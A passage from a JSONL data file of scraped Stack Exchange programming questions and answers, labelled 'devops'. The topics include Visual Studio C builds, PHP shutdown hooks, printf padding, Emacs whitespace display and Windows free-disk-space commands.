0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.867135"}
{"id": "hf_8011ac985bc7", "question": "<p>I'm just starting out writing trying to write a simple program in C and I am using Visual Studios to do so. I heard that it does compile C as well as C++. And I know that it does because it says it compiles. The only problem is that when I go to the output directory, there isn't a .exe file in the directory! It has the following:</p>\n\n<ul>\n<li>BuildLog.html</li>\n<li>mt.dep</li>\n<li>test1.obj</li>\n<li>vc90.idb</li>\n<li>vc90.pdb</li>\n</ul>\n\n<p>But that is all! No EXE. I've looked through all the options and made sure that it is set to compile to an exe and i checked the output file. That is $(OutDir)\\$(ProjectName).exe. But alas, no exe appears. Any ideas?</p>\n\n<p>Also when i try to hit f5 and run with debut i get an error that says</p>\n\n<blockquote>\n  <p>This application has failed to start\n  because MSVCR90.DLL was not found.\n  Re-installing the application may fix\n  this problem</p>\n</blockquote>\n", "question_body": "", "answer": "is it a C/C++ console application?\ndid you use the project wizard to create it?\ndo you have a function like\n```\n```\n#include \"stdafx.h\"\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n    printf(\"Hello, world!\\n\");\n    return 0;\n}\n```\n```\nin a .c module, typically main.c?\nwhat happens when you hit F5 to run-with-debug?\nwhat does your build log look like?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.891133"}
{"id": "hf_3d6f76f0341d", "question": "<p>PHP provides a mechanism to register a shutdown function:</p>\n\n<pre><code>register_shutdown_function('shutdown_func');\n</code></pre>\n\n<p>The problem is that in the recent versions of PHP, this function is still executed DURING the request.  </p>\n\n<p>I have a platform (in Zend Framework if that matters) where any piece of code throughout the request can register an entry to be logged into the database.  Rather than have tons of individual insert statements throughout the request, slowing the page down, I queue them up to be insert at the end of the request.  I would like to be able to do this after the HTTP request is complete with the user so the length of time to log or do any other cleanup tasks doesn't affect the user's perceived load time of the page.</p>\n\n<p>Is there a built in method in PHP to do this?  Or do I need to configure some kind of shared memory space scheme with an external process and signal that process to do the logging?</p>\n", "question_body": "", "answer": "Aside from register_shutdown_function() there aren't built in methods for determining when a script has exited. However, the Zend Framework has several hooks for running code at specific points in the dispatch process. \nFor your requirements the most relevant would be the action controller's\npost-dispatch hook\nwhich takes place just after an action has been dispatched, and the\ndispatchLoopShutdown event\nfor the controller plugin broker.\nYou should read the manual to determine which will be a better fit for you.\nEDIT: I guess I didn't understand completely. From those hooks you could fork the current process in some form or another.\nPHP has several ways to fork processes as you can read in the manual under\nprogram execution\n. I would suggest going over the pcntl extension - read\nthis blog post\nto see an example of forking child processes to run in the background.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.926237"}
{"id": "hf_9ecdbeb485d2", "question": "<p>I know a question like this was already asked, but the situation is a little different, and all the answers on that problem didn't work for me.</p>\n\n<p>I'm trying to compile some C code in VS2008 and it doesn't create an exe. Also, when I try to run it with f5, I get:</p>\n\n<blockquote>\n  <p>This application has failed to start\n  because MSVCR90.DLL was not found.</p>\n</blockquote>\n\n<p>I did some googling and it said that this was because my c++ redistributable package wasnt installed. So I installed that, restarted everything and tried again. But alas, I still get the same error. Does anyone have any clue how to fix this?</p>\n", "question_body": "", "answer": "It sounds like either a problem with your VS2008 installation, or something wrong with your DLL search path. MSVCR90.DLL is installed when you install VS2008, you shouldn't have to install any additional redistributable packages.\nFirst I would check your PATH environment variable and make sure there is no gobbledydook in it that will break some of the entries, and if you don't find a problem there, then I would uninstall and reinstall Visual Studio.\nYou could also try searching for MSVCR90.DLL (and other DLLs like it), and move them to your Windows/System32 folder.\nIf you just want to get going now, another thing you could do is change your project to statically link to the runtime libraries, and then it wont even try to load that DLL. Go to your Project settings, Configuration Properties->C/C++->Code Generation and change Runtime Library from Multi-Threaded DLL to just Multi-Threaded (or any of the options that doesn't end with DLL).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.949884"}
{"id": "hf_9a6ed876ae46", "question": "<p>Does Lucene QueryParser.parse(string) still work?\nIf it is deprecated, what is the new syntax?</p>\n\n<p>Query query = QueryParser.parse(\"Ophelia\");</p>\n\n<p>Thanks\nTatyana</p>\n", "question_body": "", "answer": "Not sure of the exact API, but it's changed to an instance object. All QueryParsers are now instance objects.\n```\n```\nvar qp = new QueryParser(new StandardAnalyzer(),fields);\nqp.Parse(inputString,fields);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.973672"}
{"id": "hf_ba1615935869", "question": "<p>How can I pad a string with spaces on the left when using printf?</p>\n\n<p>For example, I want to print \"Hello\" with 40 spaces preceding it.</p>\n\n<p>Also, the string I want to print consists of multiple lines.  Do I need to print each line separately?</p>\n\n<p>EDIT: Just to be clear, I want exactly 40 spaces printed before every line.</p>\n", "question_body": "", "answer": "If you want the word \"Hello\" to print in a column that's 40 characters wide, with spaces padding the left, use the following.\n```\n```\nchar *ptr = \"Hello\";\nprintf(\"%40s\\n\", ptr);\n```\n```\nThat will give you 35 spaces, then the word \"Hello\".  This is how you format stuff when you know how wide you want the column, but the data changes (well, it's\none\nway you can do it).\nIf you know you want exactly 40 spaces then some text, save the 40 spaces in a constant and print them.  If you need to print multiple lines, either use multiple\n```\nprintf\n```\nstatements like the one above, or do it in a loop, changing the value of\n```\nptr\n```\neach time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.056515"}
{"id": "hf_4d477117053d", "question": "<p>I'm writing a simple program that's going to parse a logfile of a packet dump from wireshark into a more readable form. I'm doing this with python.</p>\n\n<p>Currently I'm stuck on this part:</p>\n\n<pre><code>for i in range(len(linelist)):\nif '### SERVER' in linelist[i]:\n    #do server parsing stuff\n\n    packet = linelist[i:find(\"\\n\\n\", i, len(linelist))]\n</code></pre>\n\n<p>linelist is a list created using the readlines() method, so every line in the file is an element in the list. I'm iterating through it for all occurances of \"### SERVER\", then grabbing all lines after it until the next empty line(which signifies the end of the packet). I must be doing something wrong, because not only is find() not working, but I have a feeling there's a better way to grab everything between ### SERVER and the next occurance of a blank line.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Looking at the\nfile.readlines()\ndoc:\nfile.readlines([sizehint])\nRead until EOF using readline() and return a list containing the lines thus read. If the optional sizehint argument is present, instead of reading up to EOF, whole lines totalling approximately sizehint bytes (possibly after rounding up to an internal buffer size) are read. Objects implementing a file-like interface may choose to ignore sizehint if it cannot be implemented, or cannot be implemented efficiently.\nand the\nfile.readline()\ndoc:\nfile.readline([size])\nRead one entire line from the file. A trailing newline character is kept in the string (but may be absent when a file ends with an incomplete line). [6] If the size argument is present and non-negative, it is a maximum byte count (including the trailing newline) and an incomplete line may be returned. An empty string is returned only when EOF is encountered immediately.\n```\nA trailing newline character is kept in the string\n```\n- means that each line in\n```\nlinelist\n```\nwill contain at most\none\nnewline. That is why you cannot find a\n```\n\"\\n\\n\"\n```\nsubstring in any of the lines - look for\na whole blank line\n(or an empty one at EOF):\n```\n```\nif myline in (\"\\n\", \"\"):\n    handle_empty_line()\n```\n```\nNote: I tried to explain\n```\nfind\n```\nbehavior, but a pythonic solution looks very different from your code snippet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.086743"}
{"id": "hf_023c98ab0916", "question": "<p>I wonder what are the main challenges to porting those emulator engines. </p>\n\n<p>Could there been any sucess without having to rewrite all the code? Any conversion tools available that can help? </p>\n", "question_body": "", "answer": "Some people have tried but it seems they\ngave up\n:\nscummvmxna\nOther route could be the approach taken by\nCibyl\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.111498"}
{"id": "hf_efe80665d2b6", "question": "<p>I have a dropdown box and a literal tag inside an Update Panel.  On the selection change event of the dropdown up requery the database and repopulate the literal tag and then call UPdatePanel.Update().</p>\n\n<p>below, is there are way i can avoid having to create a new Oledbconnection each time as this seems slow.  Can i reuse and store:</p>\n\n<ol>\n<li>The Datasource</li>\n<li>The connection in the page.  </li>\n</ol>\n\n<p>if so, how do i keep this state between calls from the GUI to the server?  Here is my selection change code below</p>\n\n<pre><code>protected void cboPeople_SelectedIndexChanged(object sender, EventArgs e)\n{\n    string dataSource = ConfigurationSettings.AppSettings[\"contactsDB\"];\n    var objConn = new OleDbConnection(dataSource);\n    string id = People[cboPeople.Text];\n    UpdateLiteral(objConn, id);\n}\n</code></pre>\n", "question_body": "", "answer": "You need to recreate this for each request.  You have a a state less server.  you never know when or if your client will call back. You do not want to keep an open connection to the database nor could you simply service multiply clients while maintaining one database connection.\nTo deploy high-performance\n  applications, you must use connection\n  pooling. When you use the .NET\n  Framework Data Provider for OLE DB,\n  you do not have to enable connection\n  pooling because the provider manages\n  this automatically. For more\n  information about how to use\n  connection pooling with the .NET\n  Framework Data Provider for OLE DB,\n  see OLE DB, ODBC, and Oracle\n  Connection Pooling (ADO.NET).\n  From\nOleDbConnection Class", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.151017"}
{"id": "hf_9844043e3fb3", "question": "<p>I am trying to send a user to another page using a Javascript Function:</p>\n\n<pre><code>&lt;input type=\"button\" name=\"confirm\" value=\"nextpage\" onClick=\"message()\"&gt;\n</code></pre>\n\n<p>And my JavaScript:</p>\n\n<pre><code>function message() {\n    ConfirmStatus = confirm(\"Install a Virus?\");\n\n    if (ConfirmStatus == true) {\n        //Send user to another page\n    }\n}\n</code></pre>\n\n<p>Does anyone know how to send a user to another specific page?</p>\n", "question_body": "", "answer": "I believe\n```\nwindow.location.href = \"newpage.html\";\n```\nwill work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.201974"}
{"id": "hf_42cf827be566", "question": "<p>Is there a PHP version of JavaScript's confirm() function?<br>\nIf not, what are my other options or how do I make something similar to the confirm()?</p>\n", "question_body": "", "answer": "Because PHP is a server-side language (all the PHP code is executed on the server, and the output of the code is sent to the client), you'd have to make an HTML form with OK/Cancel buttons that would submit to your PHP page. Something like this:\nconfirm.php:\n```\n```\n<p>Are you sure you want to do this?</p>\n\n<form action=\"page2.php\" method=\"post\">\n    <input type=\"submit\" name=\"ok\" value=\"OK\" />\n    <input type=\"submit\" name=\"cancel\" value=\"Cancel\" />\n</form>\n```\n```\npage2.php:\n```\n```\n<?php\n\nif (isset($_POST['ok'])) {\n    // They pressed OK\n}\n\nif (isset($_POST['cancel'])) {\n    // They pressed Cancel\n}\n\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.249237"}
{"id": "hf_7229314f580e", "question": "<p>For example if I put \"C:\\docs\" in address bar of Firefox, it shows all files in the directory. Is it possible to customize this page with CSS?</p>\n\n<p>Apache 2.2 allows us to do it using IndexStyleSheet directive, so I wondered if Firefox can do it.</p>\n", "question_body": "", "answer": "Firefox has a file userContent.css for each profile (found in the profile's settings folder). That file defines the standard CSS, why may then be overwritten by a website. So they also apply to directory listings.\nYou should have a look at the actual HTML code Firefox is creating for the directory listing to see how to do the CSS definitions right. You will find extensive documentation about userContent.css on the web.\nhttp://www.mozilla.org/unix/customizing.html#userContent", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.285005"}
{"id": "hf_f376e8ad6aae", "question": "<p>I would like to make apps that can run in a flash enabled browser and decided flex would be best for me so I started to learn that. AFAIK flex has a GC but how that GC works compared to the ones in other languages I've seen may be a bit different. I have found <a href=\"http://blogs.adobe.com/aharui/2007/03/garbage_collection_and_memory.html\" rel=\"nofollow noreferrer\">this</a> but apparently there is (or were) huge memory leaks that could not be prevented and a lot worse when run in IE.</p>\n\n<p>Is flex safe to trust now. Have any leak that were there been fixed?</p>\n", "question_body": "", "answer": "A couple resources you can have a look at are :\nFlex Bug Tracking\nwhich you could peruse for memory leak bugs that have been fixed/logged. Also in the Flex Builder IDE you can use the Profiler to monitor memory/CPU usage etc. I cant specifically answer your question. I think that part of the responsibility here is on you, the developer, and how you have designed and managed your code. Apart from that, I have noticed using the Flex 3 framework (or ASVM2 in general) that it has done a good job of managing the GC for me. Keep in mind as well that Flex 4 is around the corner.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.320709"}
{"id": "hf_098140ec786c", "question": "<p>What are the basic steps for <code>Agile software development</code>?<br>\nAnd how you start a new project with agile methodology?  </p>\n", "question_body": "", "answer": "have a look at \"Agile Software Development, Principles, Patterns, and Practices\" by robert marin. there is a java and a c# version.\nhttp://www.amazon.com/Software-Development-Principles-Patterns-Practices/dp/0135974445", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.367978"}
{"id": "hf_eaa9b505bd02", "question": "<p>I have a ASP.NET project and when building the project it is showing build suceessfull. But when I am building the deployment project, it is showing build failed with an error message </p>\n\n<pre><code>Error    5    \"aspnet_compiler.exe\" exited with code 1\n</code></pre>\n\n<p>I rechecked my project and found that when i am removing the line <strong><code>&lt;!--#include file=\"admin/topstyle.asp\"--&gt;</code></strong>, it is working fine. If I use this line, I am getting error building web deployment project to create my dll.</p>\n\n<p><strong>topstyle.asp</strong> is a file which render some common styles for the page like heading image and all.</p>\n\n<p>Can anyone tell me how to get rid of this problem?</p>\n", "question_body": "", "answer": "Does it work successfully on other pages? Also is the Topstyle.asp page a ASP.NET page? If not it will not work as you can't mix the two technologies like that.\nIn ASP.NET the include syntax is discouraged. Try using a user control instead, or the <%= Globals.MyConstantThatContainsTheStyles %>.\nIf you are using ASP 2.0 look at using Master Pages, but that might be a big change for your app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.420716"}
{"id": "hf_902054863aaf", "question": "<p>I'm writing a file that requires dates to be in decimal format:</p>\n\n<blockquote>\n  <p><code>2007-04-24T13:18:09</code> becomes <code>39196.554270833331000</code>  </p>\n</blockquote>\n\n<p>Does anyone have a time formatter that will do this (Decimal time is what VB/Office, etc. use)?</p>\n\n<p>Basic code goes like follows:</p>\n\n<pre><code>final DateTime date = new DateTime(2007, 04, 24, 13, 18, 9, 0, DateTimeZone.UTC);\ndouble decimalTime = (double) date.plusYears(70).plusDays(1).getMillis() / (Days.ONE.toStandardDuration().getMillis())); //=39196.554270833331000.\n</code></pre>\n\n<p>For the example above.</p>\n\n<p>(I started on a DateTimePrinter that would do this, but it's too hard for now (I don't have the joda source linked, so I can't get ideas easily)).</p>\n\n<p>Note: Decimal time is the number of days since 1900 - the . represents partial days.  2.6666666 would be 4pm on January 2, 1900</p>\n", "question_body": "", "answer": "What's wrong with the\ngetTime()\nmethod?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.445701"}
{"id": "hf_91e896c3e8ba", "question": "<p>I'd like to rank my stories based on \"controversy\" quotient. For example, reddit.com currently has \"controversial\" section: <a href=\"http://www.reddit.com/controversial/\" rel=\"nofollow noreferrer\">http://www.reddit.com/controversial/</a></p>\n\n<p>When a story has a lot of up and a lot of down votes, it's controversial even though the total score is 0 (for example). How should I calculate this quotient score so that when there's a lot of people voting up and down, I can capture this somehow.</p>\n\n<p>Thanks!!!</p>\n\n<p>Nick</p>\n", "question_body": "", "answer": "The easiest method is to count the number of upvote/downvote pairings for a given comment within the timeframe (e.g. 1 week, 48 hours etc), and have comments with the most parings appear first.  Anything more complex requires trial-and-error or experimentation on the best algorithm - as always, it varies on the content of the site and how you want it weighted.\nOverall, it's not much different than a hotness algorithm, which works by detecting the most upvotes or views within a timeframe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.507358"}
{"id": "hf_0302e27c2547", "question": "<p>I would like to know what kinds of builds (i.e for example and learning) does one have.</p>\n\n<p>I currently set up nightly build triggered on changes..</p>\n\n<p>Should I have a different server for ci builds or different config blocks???</p>\n\n<p>Please give ideas or samples on how you maintain CI and nightly build in config</p>\n", "question_body": "", "answer": "We use one build machine (a slightly older desktop pc at the moment, going to be in the server rack soon), with multiple project blocks in the configuration.\nWe have several main projects:\nDebug (triggered automatically every hour)\nTest(integration & unit tests) (triggered once a day)\nRelease (manually triggered, also does the integration and unit tests)\nthis seems to work well for our team of 12, however it would depend on your team size, release frequency and whether you do nightly builds for beta users.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.531193"}
{"id": "hf_a8ff7559368d", "question": "<p>is it possible to use the ajaxComplete or ajaxStop features of jQuery to decide whether or not the callback gets called?</p>\n\n<p>Essentially I want to be able to take basic error checking code that is currently in most of my callbacks, and add it to a sort of global callback.</p>\n", "question_body": "", "answer": "Sort answer: No.\nLong answer: Both\n```\najaxComplete\n```\nand\n```\najaxStop\n```\nare jQuery AJAX events. You cannot prevent events from happening - and \"event\" means nothing else as \"execute every callback function that has been registered\". Callbacks get called regardless, if you want or not.\nWhat you\ncan\ndo is program your callback so that it does\nnothing\nwhen certain requirements are (or are not) met. In effect this is exactly what you asked for. If you edit your question to explain what you're up to exactly, people can show you how to do it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.554381"}
{"id": "hf_c7bbf313b402", "question": "<p>A few weeks back I was using std::ifstream to read in some files and it was failing immediately on open because the file was larger than 4GB. At the time I couldnt find a decent answer as to why it was limited to 32 bit files sizes, so I wrote my own using native OS API.</p>\n\n<p>So, my question then: Is there a way to handle files greater than 4GB in size using std::ifstream/std::ostream (IE: standard c++)</p>\n\n<p>EDIT: Using the STL implementation from the VC 9 compiler (Visual Studio 2008). \nEDIT2: Surely there has to be standard way to support file sizes larger than 4GB.</p>\n", "question_body": "", "answer": "Apparently it depends on how\n```\noff_t\n```\nis implemented by the library.\n```\n```\n#include <streambuf>\n__int64_t temp=std::numeric_limits<std::streamsize>::max();\n```\n```\ngives you what the current max is.\nSTLport\nsupports larger files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.578270"}
{"id": "hf_778cc9266b79", "question": "<p>I am getting the following error when an event (Add/Edit/Delete) occurs on my databound control.</p>\n\n<blockquote>\n  <p>Invalid postback or callback argument.\n  Event validation is enabled using in\n  configuration or &lt;%@ Page\n  EnableEventValidation=\"true\" %> in a\n  page. For security purposes, this\n  feature verifies that arguments to\n  postback or callback events originate\n  from the server control that\n  originally rendered them. If the data\n  is valid and expected, use the\n  ClientScriptManager.RegisterForEventValidation\n  method in order to register the\n  postback or callback data for\n  validation.</p>\n</blockquote>\n\n<p>I am using a custom DataList control, but this problem also occurs with GridView, DetailsView, FormView and Repeater control (and maybe with other databound controls).</p>\n\n<p>The answers I can find tell me to turn off the validation in the config file or page, but that does not sound like it is the best solution. What am I doing wrong?</p>\n", "question_body": "", "answer": "The problem is loading the data for the control in the page Load event and calling the  DataBind() method. However it appears that if the DataBind() method is called before the events are raised the above exception is generated as the control naming has changed.\nThe solution is to change this to if(!IsPostback) DataBind() and then call the DataBind() method at the end of the event handler. You would need to call it most of the time anyway at the end of the handler to affect the changes.\nIf this is not your problem, and you are modifying controls client side using JavaScript, check out\nthis article\n.\nThis is a self answered post as I was getting a lot of responses on my blog to this issue and thought I might share it further.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.626868"}
{"id": "hf_071803be9d7e", "question": "<p>i need a Regular Expression to convert a a string to a link.i wrote something but it doesnt work in asp.net.i couldnt solve and i am new in Regular Expression.This function converts (bkz: string) to (bkz: show.aspx?td=string)</p>\n\n<pre><code>Dim pattern As String = \"&amp;lt;bkz[a-z0-9$-$&amp;-&amp;.-.ö-öı-ış-şç-çğ-ğü-ü\\s]+)&amp;gt;\"\nDim regex As New Regex(pattern, RegexOptions.IgnoreCase)\nstr = regex.Replace(str, \"&lt;a href=\"\"show.aspx?td=$1\"\"&gt;&lt;font color=\"\"#CC0000\"\"&gt;$1&lt;/font&gt;&lt;/a&gt;\")\n</code></pre>\n", "question_body": "", "answer": "Your regexp is in trouble because of a ')' without '('\nWould:\n```\n```\n&lt;bkz:\\s+((?:.(?!&gt;))+?.)&gt;\n```\n```\nwork better ?\nThe first group would capture what you are after.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.662424"}
{"id": "hf_0de017c990bd", "question": "<p>How can I make Emacs show blank spaces (like a space, a tab, a line-jump, etc). Many other editors like Kate and Eclipse have this feature and I find it very useful to see when code is indent-broken because of mix of spaces and tabs (particularly Python).</p>\n", "question_body": "", "answer": "All the possible settings to do that seem to be\nsummarized here (blank-mode)\nand here\nand here (ShowWhiteSpace)\nalso:\n```\n```\n(if (>= emacs-major-version 22)\n  (progn\n    ;; Mode to use with Emacs 22\n    ;; http://emacswiki.org/cgi-bin/wiki/BlankMode\n    (require 'blank-mode)\n    ;; Mode not active by default: let's activate it\n    (global-blank-mode t)\n    ;; ... activate it when text mode where color syntax is not active by default\n    (add-hook 'text-mode-hook 'blank-mode-on)\n    ;; All invisible chars are shown, except newline char.\n    (setq blank-chars '(tabs spaces trailing lines space-before-tab))\n    ;; Show only for one color, no mark inserted\n    (setq blank-style '(color))\n    ;; Use for normal space (not shown)\n    (set-face-background 'blank-space-face nil)\n    (set-face-foreground 'blank-space-face \"black\")\n    ;; used for non breakable space\n    (set-face-background 'blank-hspace-face \"PaleGreen\")\n    (set-face-foreground 'blank-hspace-face \"black\")\n    ;; Used for spaces left of a tab\n    (set-face-background 'blank-space-before-tab-face \"orange\")\n    (set-face-foreground 'blank-space-before-tab-face \"black\")\n    ;; Used for tab\n    (set-face-background 'blank-tab-face \"lemonchiffon\")\n    (set-face-foreground 'blank-tab-face \"black\")\n    ;; used for extra space at the end of a line\n    (set-face-background 'blank-trailing-face \"gold\")\n    (set-face-foreground 'blank-trailing-face \"black\")\n    ;; Used for line too long\n    (set-face-background 'blank-line-face \"snow2\")\n    (set-face-foreground 'blank-line-face \"black\")\n  )\n  (progn\n    ;; For older Emacs prior to version 22.\n    ;; http://www.emacswiki.org/cgi-bin/wiki/show-wspace.el\n    (require 'show-wspace)\n    (add-hook 'font-lock-mode-hook 'show-ws-highlight-tabs)\n    (add-hook 'font-lock-mode-hook 'show-ws-highlight-hard-spaces)\n    (add-hook 'font-lock-mode-hook 'show-ws-highlight-trailing-whitespace)\n  )\n)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.746875"}
{"id": "hf_64b034b58b78", "question": "<p>I can't directly add ChartFrame object to my Jframe object with .add(Component) method. And it's not possible to cast from ChartFrame to JComponent. Casting ChartFrame to Component from java.awt library is also impossible. </p>\n\n<p>How can I add ChartFrame to JFrame the other way?</p>\n", "question_body": "", "answer": "That would mean inserting a JFrame within another JFrame.\nA possible solution would be to use a\nJDesktopPane\n```\n```\nJDesktopPane desktop = ...\nJFrame frame = ...\n\nframe.setContentPane(desktop);\n\nJInternalFrame internalFrame = ...\ndesktop.add(internalFrame);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.770897"}
{"id": "hf_d9ebcb6ab137", "question": "<p>With wxWidgets I use the following code:</p>\n\n<pre><code>HWND main_window = ...\n...\nwxWindow *w = new wxWindow();\nwxWindow *window = w->CreateWindowFromHWND(0, (WXHWND) main_window);\n</code></pre>\n\n<p>How do I do the same thing in Qt? The <code>HWND</code> is the handle of the window I want as the parent window for the new QtWidget.</p>\n", "question_body": "", "answer": "Have you tried the\n```\nQWinWidget\n```\nclass from the\nQt/MFC Migration Framework\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.816654"}
{"id": "hf_06302d3a9eaf", "question": "<p>Is there a way to get the amount of free diskspace of a disk or a folder in a CMD\nwithout having to install some thirdparty applications?</p>\n\n<p>I have a CMD that copies a big file to a given directory and could of course use\nthe errorlevel return from the copy command, but then I have to wait for the time\nit takes to copy the file (eg...to that then the disk is full and the copy operation fails).</p>\n\n<p>I would like to know before I start the copy if it is any idea at all. Tried the DU.EXE utility from Sysinternals, but that show occupied space only.</p>\n", "question_body": "", "answer": "If you run \"\n```\ndir c:\\\n```\n\", the last line will give you the free disk space.\nEdit:\nBetter solution: \"\n```\nfsutil volume diskfree c:\n```\n\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.855830"}
{"id": "hf_5eeba5828143", "question": "<p>Greetings,</p>\n\n<p>I have data stored on mysql with delimiter \",\" in 1 table. \nI have rows and column stored on database too. \nNow i have to output the data using rows and column number stored on database to draw the table.</p>\n\n<p>Rows and column number are user input, so it may varies.</p>\n\n<p>Let say, there is number 3 on column and 3 on rows.</p>\n\n<p>I need to do it like display like,</p>\n\n<pre><code>|___d1__|___d2__|___d3__|\n|___d4__|___d5__|___d6__|\n|___d7__|___d8__|___d9__|\n</code></pre>\n\n<p>Where d1-d9 would be the data stored on mysql database with delimiter \",\" in one table.</p>\n\n<p>Thanks for helping me.</p>\n", "question_body": "", "answer": "assuming that user set table size for 2 rows and 3 columns and makes some input fot 6 cells, data which will go to database will be\n2,3,d1,d2,d3,d4,d5,d6\nwhen you will fetch data from cell and make explode on fetched string you will get 1 dimension array with 8 elements\n$r = $e[0] rows\n$c = $e[1] cols\n$e[2-7] data\nwrtite openning < table > tag\ntwo loops, one in another,\nfirst one will generate code for start of row\nwrtite openning < tr > tag\ninside one will genereate code for row.\nwrite opening < td > tag\nwrite data $e[1 + position calulated from inside and outside loops]\nwrite closing < td > tag\nend of inside loop\nwrtite closing < tr > tag\nend of outside loop\nwrtite closing < table > 